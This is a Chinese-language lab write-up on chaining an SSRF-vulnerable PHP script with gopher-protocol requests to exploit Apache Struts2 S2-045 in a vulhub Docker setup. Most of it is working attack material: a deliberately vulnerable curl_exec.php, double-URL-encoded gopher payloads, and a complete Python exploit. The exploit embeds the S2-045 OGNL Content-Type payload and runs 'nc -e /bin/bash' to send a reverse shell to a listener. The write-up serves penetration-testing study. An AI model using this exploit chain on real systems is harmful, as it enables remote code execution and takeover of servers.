SSRF+gopher协议渗透struts2
实验主机
windows10 192.168.1.120 #SSFR漏洞主机
centos8搭建struts2-045环境 192.168.1.106
实验环境
- SSRF漏洞代码curl_exec.php:
php版本>5.3才可使用gopher协议
可用var_dump(curl_version())来调试
#win10主机 curl_exec.php
<?php
$url = $_GET['url'];
#var_dump(curl_version()); #输出curl支持的协议
$curlobj = curl_init($url); //初始化一个新的会话,返回一个cURL句柄,供curl_setopt(), curl_exec()和curl_close() 函数使用。
echo curl_exec($curlobj); //执行 cURL 会话
?>
测试一下环境:
window10的SSRF环境搭建完毕。
- 测试代码get.php:
<?php
echo "Hello ,".$_GET["name"]."!";
?>
尝试用gopher协议调用此代码,先构造一个get请求头
GET /ssrf/get.php?name=qianxun HTTP/1.1
Host:192.168.1.120
构造gopher协议请求
gopher://192.168.1.120:80/_GET%20/ssrf/get.php%3fname=qianxun%20HTTP/1.1%0d%0aHost:192.168.1.120%0d%0a
使用curl工具尝试发送:
成功!
在url中发送,由于apache会自动进行一次url解码,所以为了让gopher协议能正常发送,所以要再进行一次url编码即:
gopher://192.168.1.120:80/_GET%2520/ssrf/get.php%253Fname=qianxun%2520HTTP/1.1%250d%250aHost:192.168.1.120%250d%250a
成功!
实验过程
调试好环境之后正戏开始
结合SSRF利用gopher协议渗透struts2
物理机SSRF漏洞代码,也就是上面的curl_exec.php:
<?php
$url = $_GET['url'];
#var_dump(curl_version());
$curlobj = curl_init($url); //初始化一个新的会话,返回一个cURL句柄,供curl_setopt(), curl_exec()和curl_close() 函数使用。
echo curl_exec($curlobj); //执行 cURL 会话
?>
docker拉取镜像搭建s2-045环境:
service docker start #开启docker服务
cd /usr/sbin/vulhub/struts2/s2-045 #进入s2-045目录
docker-compose up -d #启动容器
docker ps #查看docker容器进程
在物理机上用浏览器访问http://192.168.1.106:8080
至此s2-045漏洞环境搭建完毕。
这里有个坑,我是用centos8搭建docker环境的,因为当时重启了一下network服务导致浏览器无法访问容器的8080端口,百度了好多资料,说是当FirewallD启动(或重新启动)时,会从iptables中删除DOCKER链,造成Docker不能正常工作,解决方法是手动重启出问题的Docker daemon服务。
service docker restart
最终解决了,如果你也有同样的问题,请参考文章
从网上找到大佬的exp,原版是用python2编写的,我换成python3修改了一下:
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import urllib.request
from urllib.parse import quote
url = "http://192.168.1.120/ssrf/curl_exec.php?url="
header = """gopher://192.168.1.106:8080/_GET / HTTP/1.1
Host:192.168.1.106
Content-Type:""" #设置get请求头
cmd = "nc -e /bin/bash 192.168.1.120 6666" #用nc反弹shell
content_type = """%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='nc -e /bin/bash 192.168.1.120 6666').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}""" #这是content-Type字段的POC
header_encoder = ""
content_type_encoder = ""
content_type_encoder_2 = ""
url_char = [" "]
nr = "\r\n"
# 编码请求头
for single_char in header:
if single_char in url_char:
header_encoder += quote(quote(single_char,'utf-8'),'utf-8')
else:
header_encoder += single_char
header_encoder = header_encoder.replace("\n",quote(quote(nr,'utf-8'),'utf-8'))
# 编码content-type,第一次编码
for single_char in content_type:
# 先转为ASCII,在转十六进制即可变为URL编码
content_type_encoder += str(hex(ord(single_char)))
content_type_encoder = content_type_encoder.replace("0x","%") + quote(nr,'utf-8')
# 编码content-type,第二次编码
for single_char in content_type_encoder:
# 先转为ASCII,在转十六进制即可变为URL编码
content_type_encoder_2 += str(hex(ord(single_char)))
content_type_encoder_2 = content_type_encoder_2.replace("0x","%")
exp = url + header_encoder + content_type_encoder_2
print(exp)
request = urllib.request.Request(exp)
response = urllib.request.urlopen(request).read()
print(response)
复现过程:
在物理机上用nc开启端口监听:
重新开启一个窗口运行exp:
在第一次做的时候报了一个错误:
这是因为容器中默认是没有安装nc的,所以要进入镜像安装nc
docker ps #查看你的镜像id docker exec -it (你的镜像id) /bin/bash #进入镜像 apt-get update #更新软件列表 apt-get install nc #安装nc
然后再重试上面的步骤。
成功反弹shell: